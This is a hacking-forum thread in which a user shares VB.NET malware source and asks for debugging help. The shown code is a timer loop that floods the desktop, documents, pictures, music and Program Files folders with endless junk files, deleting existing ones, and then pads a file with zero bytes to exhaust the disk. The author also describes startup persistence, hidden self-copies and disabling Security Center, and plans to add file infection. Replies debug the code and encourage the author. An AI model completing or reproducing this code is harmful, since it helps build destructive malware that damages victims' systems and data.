![]() |
|
VB.NET Virus - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework) +--- Thread: VB.NET Virus (/Thread-VB-NET-Virus) Pages:
1
2
|
VB.NET Virus - loading... - 04-06-2016 I'm currently writing a virus in VB.NET but have run into a few issues So far, it creates registry keys for startup and copies itself to hidden folders and creates registry keys for those as well. It also creates a batch file to attempt to stop the Security Center which currently works with xp-win7 However, now I am trying to add a function that will eat up the hard drive. What it does is add tons of empty files (Mp3, exe, txt, and jpg files) and will then constantly add useless data to these files. However it does not seem to be functioning correctly. here's the code. Does anyone know what the issue may be? Code: Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim i As Integer = 1
Dim RNA1 As String = "\Virus"
Dim RNA2 As String = ".vbs"
Dim RNA3 As String = ".jpg"
Dim RNA4 As String = ".mp3"
Dim RNA5 As String = ".exe"
Dim DNA1 As String = My.Computer.FileSystem.SpecialDirectories.Desktop
Dim DNA2 As String = My.Computer.FileSystem.SpecialDirectories.MyPictures
Dim DNA3 As String = My.Computer.FileSystem.SpecialDirectories.MyDocuments
Dim DNA4 As String = My.Computer.FileSystem.SpecialDirectories.MyMusic
Dim DNA5 As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
Dim overwrite As Boolean = True
If overwrite Then
While True
On Error Resume Next
If File.Exists(DNA1 & RNA1 & i & RNA2) Then
File.Delete(DNA1 & RNA1 & i & RNA2)
End If
File.Create(DNA1 & RNA1 & i & RNA2)
If File.Exists(DNA2 & RNA1 & i & RNA3) Then
File.Delete(DNA1 & RNA1 & i & RNA3)
End If
File.Create(DNA2 & RNA1 & i & RNA3)
If File.Exists(DNA3 & RNA1 & i & RNA5) Then
File.Delete(DNA3 & RNA1 & i & RNA5)
End If
File.Create(DNA3 & RNA1 & i & RNA5)
If File.Exists(DNA4 & RNA1 & RNA4) Then
File.Delete(DNA4 & RNA1 & i & RNA4)
End If
File.Create(DNA4 & RNA1 & i & RNA4)
If File.Exists(DNA5 & RNA1 & i & RNA2) Then
File.Delete(DNA5 & RNA1 & i & RNA2)
End If
File.Create(DNA5 & RNA1 & i & RNA2)
i += 1
End While
Else
While True
On Error Resume Next
If Not File.Exists(DNA1 & RNA1 & i & RNA2) Then
File.Create(DNA1 & RNA1 & i & RNA2)
End If
If Not File.Exists(DNA5 & RNA1 & i & RNA2) Then
File.Create(DNA5 & RNA1 & i & RNA2)
End If
If File.Exists(DNA2 & RNA1 & i & RNA3) Then
File.Create(DNA2 & RNA1 & i & RNA3)
End If
If Not File.Exists(DNA3 & RNA1 & i & RNA5) Then
File.Create(DNA3 & RNA1 & i & RNA5)
End If
If File.Exists(DNA4 & RNA1 & i & RNA4) Then
File.Create(DNA4 & RNA1 & i & RNA4)
End If
i += 1
End While
End If
On Error Resume Next
Dim file1 = File.OpenWrite(DNA3 & RNA1 & i & RNA5)
Dim siza = file1.Seek(0, SeekOrigin.[End])
Dim size = Convert.ToInt32(20)
Dim bite As Decimal = size * 1048576
On Error Resume Next
While siza < bite
siza += 1
file1.WriteByte(0)
End While
On Error Resume Next
file1.Close()
End Sub
End ClassRE: VB.NET Virus - Skryptec - 04-06-2016 Why is there a /Virus? Like in the Dim thing, however I'm too sleepy to look at it now but so far with my one eye open I have not seen problems. Could you tell me what the error is? RE: VB.NET Virus - loading... - 04-07-2016 (04-06-2016, 10:15 PM)Skryptec Wrote: Why is there a /Virus? Like in the Dim thing, however I'm too sleepy to look at it now but so far with my one eye open I have not seen problems. Because that's the name of the files. I'll be changing it I was just using it as that to make it easier to identify the files. There's no really an error or anything, it just doesn't add the useless info to the empty files. I'm not sure why
RE: VB.NET Virus - Skullmeat - 04-08-2016 First off, this is a trojan, not a virus. A virus has to "infect" or add its code to a host file to spread. If you mean "virus" as in malicious program, the term you are looking for is malware. RE: VB.NET Virus - loading... - 04-08-2016 (04-08-2016, 04:51 AM)Skullmeat Wrote: First off, this is a trojan, not a virus. A virus has to "infect" or add its code to a host file to spread. If you mean "virus" as in malicious program, the term you are looking for is malware. Uh. thanks but I already know that. You're half correct. It's neither at the moment because I have yet to implement injection into files. I'm simply getting other things out of the way before I do. And how is this a Trojan? This is not disguised a program to give remote access to a system so it's not a Trojan... RE: VB.NET Virus - pvnk - 04-08-2016 (04-08-2016, 04:51 AM)Skullmeat Wrote: First off, this is a trojan, not a virus. A virus has to "infect" or add its code to a host file to spread. If you mean "virus" as in malicious program, the term you are looking for is malware. This isn't a Trojan... RE: VB.NET Virus - Skullmeat - 04-08-2016 (04-08-2016, 06:10 AM)loading... Wrote: Uh. thanks but I already know that. You're half correct. It's neither at the moment because I have yet to implement injection into files. I'm simply getting other things out of the way before I do. Ok, so it will have an infection routine. As for a Trojan, my understanding is that a Trojan is any piece of malware that fools a user into running it and activates without a delay. For example, Crytoplocker is a form of a Trojan. RE: VB.NET Virus - Cyber Warrior - 04-08-2016 It is always a nice feeling coding a malware by yourself. Just when I remember, 5 years ago when I coded in batch... Simpler times... Anyway, keep experimenting and learning, good job. You'll need to work a little bit on terms, but that's ok. RE: VB.NET Virus - Inori - 04-08-2016 I think the problem lies somewhere in the "else" block for your "if overwrite" statement. Not huge on vb, but it looks erroneous. Also, as per the current debate, I'm pretty sure this qualifies as a virus, as it messes with the victim's machine, but the changes/ additions don't act immediately. RE: VB.NET Virus - pvnk - 04-08-2016 (04-08-2016, 09:02 PM)Skullmeat Wrote: For example, Crytoplocker is a form of a Trojan. No...that's a ransomeware. |